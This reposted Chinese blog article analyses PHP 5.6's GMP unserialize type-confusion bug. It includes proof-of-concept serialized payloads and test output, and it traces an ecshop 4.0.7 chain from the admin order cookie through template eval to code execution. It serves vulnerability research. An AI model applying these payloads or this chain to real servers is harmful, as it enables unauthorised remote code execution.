溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

從反序列化到類型混淆漏洞的ecshop實例利用是怎樣的

發(fā)布時間:2021-12-16 18:28:30 來源:億速云 閱讀:133 作者:柒染 欄目:數(shù)據(jù)安全

這篇文章給大家介紹從反序列化到類型混淆漏洞的ecshop實例利用是怎樣的,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

GMP類型混淆漏洞

漏洞利用條件

php 5.6.x

反序列化入口點

可以觸發(fā)__wakeup的觸發(fā)點(在php < 5.6.11以下,可以使用內置類)

漏洞詳情

gmp.c

static int gmp_unserialize(zval **object, zend_class_entry *ce, const unsigned char *buf, zend_uint buf_len, zend_unserialize_data *data TSRMLS_DC) /* {{{ */
{
    ...
    ALLOC_INIT_ZVAL(zv_ptr);
    if (!php_var_unserialize(&zv_ptr, &p, max, &unserialize_data TSRMLS_CC)
        || Z_TYPE_P(zv_ptr) != IS_ARRAY
    ) {
        zend_throw_exception(NULL, "Could not unserialize properties", 0 TSRMLS_CC);
        goto exit;
    }

    if (zend_hash_num_elements(Z_ARRVAL_P(zv_ptr)) != 0) {
        zend_hash_copy(
            zend_std_get_properties(*object TSRMLS_CC), Z_ARRVAL_P(zv_ptr),
            (copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *)
        );
    }

zend_object_handlers.c

ZEND_API HashTable *zend_std_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
    zend_object *zobj;
    zobj = Z_OBJ_P(object);
    if (!zobj->properties) {
        rebuild_object_properties(zobj);
    }
    return zobj->properties;
}

從gmp.c中的片段中我們可以大致理解漏洞發(fā)現(xiàn)者taoguangchen的原話。

__wakeup等魔術方法可以導致ZVAL在內存中被修改。因此,攻擊者可以將**object轉化為整數(shù)型或者bool型的ZVAL,那么我們就可以通過Z_OBJ_P訪問存儲在對象儲存中的任何對象,這也就意味著可以通過zend_hash_copy覆蓋任何對象中的屬性,這可能導致很多問題,在一定場景下也可以導致安全問題。

或許僅憑借代碼片段沒辦法理解上述的話,但我們可以用實際測試來看看。

首先我們來看一段測試代碼

<?php

class obj
{
    var $ryat;

    function __wakeup()
    {
        $this->ryat = 1;
    }
}

class b{
    var $ryat =1;
}

$obj = new stdClass;
$obj->aa = 1;
$obj->bb = 2;

$obj2 = new b;

$obj3 = new stdClass;
$obj3->aa =2;


$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:3:"obj":1:{s:4:"ryat";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
$x = unserialize($exploit);

$obj4 = new stdClass;

var_dump($x);
var_dump($obj);
var_dump($obj2);    
var_dump($obj3);
var_dump($obj4);

?>

在代碼中我展示了多種不同情況下的環(huán)境。

讓我們來看看結果是什么?

array(1) {
  [0]=>
  &int(1)
}
object(stdClass)#1 (3) {
  ["aa"]=>
  string(2) "hi"
  ["bb"]=>
  string(2) "hi"
  [0]=>
  object(obj)#5 (1) {
    ["ryat"]=>&int(1)
  }
}
object(b)#2 (1) {
  ["ryat"]=>
  int(1)
}
object(stdClass)#3 (1) {
  ["aa"]=>
  int(2)
}
object(stdClass)#4 (0) {
}

我成功修改了第一個聲明的對象。

但如果我將反序列化的類改成b會發(fā)生什么呢?

$inner = 's:1:"1";a:3:{s:2:"aa";s:2:"hi";s:2:"bb";s:2:"hi";i:0;O:1:"b":1:{s:4:"ryat";R:2;}}';

很顯然的是,并不會影響到其他的類變量

array(1) {
  [0]=>
  &object(GMP)#4 (4) {
    ["aa"]=>string(2) "hi"
    ["bb"]=>string(2) "hi"
    [0]=>object(b)#5 (1) {
      ["ryat"]=>  &object(GMP)#4 (4) {
        ["aa"]=>string(2) "hi"
        ["bb"]=>string(2) "hi"
        [0]=>*RECURSION*
        ["num"]=>string(2) "32"
      }
    }
    ["num"]=>string(2) "32"
  }
}
object(stdClass)#1 (2) {
  ["aa"]=>
  int(1)
  ["bb"]=>
  int(2)
}
object(b)#2 (1) {
  ["ryat"]=>
  int(1)
}
object(stdClass)#3 (1) {
  ["aa"]=>
  int(2)
}
object(stdClass)#6 (0) {
}

如果我們給class b加一個__Wakeup函數(shù),那么又會產(chǎn)生一樣的效果。

但如果我們把wakeup魔術方法中的變量設置為2

class obj
{
    var $ryat;

    function __wakeup()
    {
        $this->ryat = 2;
    }
}

返回的結果可以看出來,我們成功修改了第二個聲明的對象。

array(1) {
  [0]=>
  &int(2)
}
object(stdClass)#1 (2) {
  ["aa"]=>
  int(1)
  ["bb"]=>
  int(2)
}
object(b)#2 (4) {
  ["ryat"]=>
  int(1)
  ["aa"]=>
  string(2) "hi"
  ["bb"]=>
  string(2) "hi"
  [0]=>
  object(obj)#5 (1) {
    ["ryat"]=>&int(2)
  }
}
object(stdClass)#3 (1) {
  ["aa"]=>
  int(2)
}
object(stdClass)#4 (0) {
}

但如果我們把ryat改為4,那么頁面會直接返回500,因為我們修改了沒有分配的對象空間。

在完成前面的試驗后,我們可以把漏洞的利用條件簡化一下。

如果我們有一個可控的反序列化入口,目標后端PHP安裝了GMP插件(這個插件在原版php中不是默認安裝的,但部分打包環(huán)境中會自帶),如果我們找到一個可控的__wakeup魔術方法,我們就可以修改反序列化前聲明的對象屬性,并配合場景產(chǎn)生實際的安全問題。

如果目標的php版本在5.6 <= 5.6.11中,我們可以直接使用內置的魔術方法來觸發(fā)這個漏洞。

var_dump(unserialize('a:2:{i:0;C:3:"GMP":17:{s:4:"1234";a:0:{}}i:1;O:12:"DateInterval":1:{s:1:"y";R:2;}}'));

真實世界案例

在討論完GMP類型混淆漏洞之后,我們必須要討論一下這個漏洞在真實場景下的利用方式。

漏洞的發(fā)現(xiàn)者Taoguang Chen提交了一個在mybb中的相關利用。

https://hackerone.com/reports/198734

這里我們不繼續(xù)討論這個漏洞,而是從頭討論一下在ecshop中的利用方式。

漏洞環(huán)境

ecshop 4.0.7

php 5.6.9

反序列化漏洞

首先我們需要找到一個反序列化入口點,這里我們可以全局搜索unserialize,挨個看一下我們可以找到兩個可控的反序列化入口。

其中一個是search.php line 45

...
{
    $string = base64_decode(trim($_GET['encode']));

    if ($string !== false)
    {
        $string = unserialize($string);
        if ($string !== false)
...

這是一個前臺的入口,但可惜的是引入初始化文件在反序列化之后,這也就導致我們沒辦法找到可以覆蓋類變量屬性的目標,也就沒辦法進一步利用。

還有一個是admin/order.php line 229

    /* 取得上一個、下一個訂單號 */
    if (!empty($_COOKIE['ECSCP']['lastfilter']))
    {
        $filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));

       ...

后臺的表單頁的這個功能就滿足我們的要求了,不但可控,還可以用urlencode來繞過ecshop對全局變量的過濾。

這樣一來我們就找到了一個可控并且合適的反序列化入口點。

尋找合適的類屬性利用鏈。在尋找利用鏈之前,我們可以用
get_declared_classes()

來確定在反序列化時,已經(jīng)聲明定義過的類。

在我本地環(huán)境下,除了PHP內置類以外我一共找到13個類

  [129]=>
  string(3) "ECS"
  [130]=>
  string(9) "ecs_error"
  [131]=>
  string(8) "exchange"
  [132]=>
  string(9) "cls_mysql"
  [133]=>
  string(11) "cls_session"
  [134]=>
  string(12) "cls_template"
  [135]=>
  string(11) "certificate"
  [136]=>
  string(6) "oauth3"
  [137]=>
  string(15) "oauth3_response"
  [138]=>
  string(14) "oauth3_request"
  [139]=>
  string(9) "transport"
  [140]=>
  string(6) "matrix"
  [141]=>
  string(16) "leancloud_client"

從代碼中也可以看到在文件頭引入了多個庫文件

require(dirname(__FILE__) . '/includes/init.php');
require_once(ROOT_PATH . 'includes/lib_order.php');
require_once(ROOT_PATH . 'includes/lib_goods.php');
require_once(ROOT_PATH . 'includes/cls_matrix.php');
include_once(ROOT_PATH . 'includes/cls_certificate.php');
require('leancloud_push.php');

這里我們主要關注init.php,因為在這個文件中聲明了ecshop的大部分通用類。

在逐個看這里面的類變量時,我們可以敏銳的看到一個特殊的變量,由于ecshop的后臺結構特殊,頁面內容大多都是由模板編譯而成,而這個模板類恰好也在init.php中聲明

require(ROOT_PATH . 'includes/cls_template.php');
$smarty = new cls_template;

回到order.php中我們尋找與$smarty相關的方法,不難發(fā)現(xiàn),主要集中在兩個方法中

...
    $smarty->assign('shipping', $shipping);

    $smarty->display('print.htm');
...

而這里我們主要把視角集中在display方法上。

粗略的瀏覽下display方法的邏輯大致是

請求相應的模板文件
-->
經(jīng)過一系列判斷,將相應的模板文件做相應的編譯
-->
輸出編譯后的文件地址

比較重要的代碼會在make_compiled這個函數(shù)中被定義

function make_compiled($filename)
    {
        $name = $this->compile_dir . '/' . basename($filename) . '.php';

        ...

        if ($this->force_compile || $filestat['mtime'] > $expires)
        {
            $this->_current_file = $filename;
            $source = $this->fetch_str(file_get_contents($filename));

            if (file_put_contents($name, $source, LOCK_EX) === false)
            {
                trigger_error('can\'t write:' . $name);
            }

            $source = $this->_eval($source);
        }

        return $source;
    }

當流程走到這一步的時候,我們需要先找到我們的目標是什么?

重新審視cls_template.php的代碼,我們可以發(fā)現(xiàn)涉及到代碼執(zhí)行的只有幾個函數(shù)。

   function get_para($val, $type = 1) // 處理insert外部函數(shù)/需要include運行的函數(shù)的調用數(shù)據(jù)
    {
        $pa = $this->str_trim($val);
        foreach ($pa AS $value)
        {
            if (strrpos($value, '='))
            {
                list($a, $b) = explode('=', str_replace(array(' ', '"', "'", '&ampquot;'), '', $value));
                if ($b{0} == '$')
                {
                    if ($type)
                    {
                        eval('$para[\'' . $a . '\']=' . $this->get_val(substr($b, 1)) . ';');
                    }
                    else
                    {
                        $para[$a] = $this->get_val(substr($b, 1));
                    }
                }
                else
                {
                    $para[$a] = $b;
                }
            }
        }

        return $para;
    }

get_para只在select中調用,但是沒找到能觸發(fā)select的地方。

然后是pop_vars

    function pop_vars()
    {
        $key = array_pop($this->_temp_key);
        $val = array_pop($this->_temp_val);

        if (!empty($key))
        {
            eval($key);
        }
    }

恰好配合GMP我們可以控制$this->_temp_key變量,所以我們只要能在上面的流程中找到任意地方調用這個方法,我們就可以配合變量覆蓋構造一個代碼執(zhí)行。

在回看剛才的代碼流程時,我們從編譯后的PHP文件中找到了這樣的代碼

order_info.htm.php

  <?php endforeach; endif; unset($_from); ?><?php $this->pop_vars();; ?>

在遍歷完表單之后,正好會觸發(fā)pop_vars。

這樣一來,只要我們控制覆蓋cls_template變量的_temp_key屬性,我們就可以完成一次getshell

最終利用效果

從反序列化到類型混淆漏洞的ecshop實例利用是怎樣的

關于從反序列化到類型混淆漏洞的ecshop實例利用是怎樣的就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內容。

AI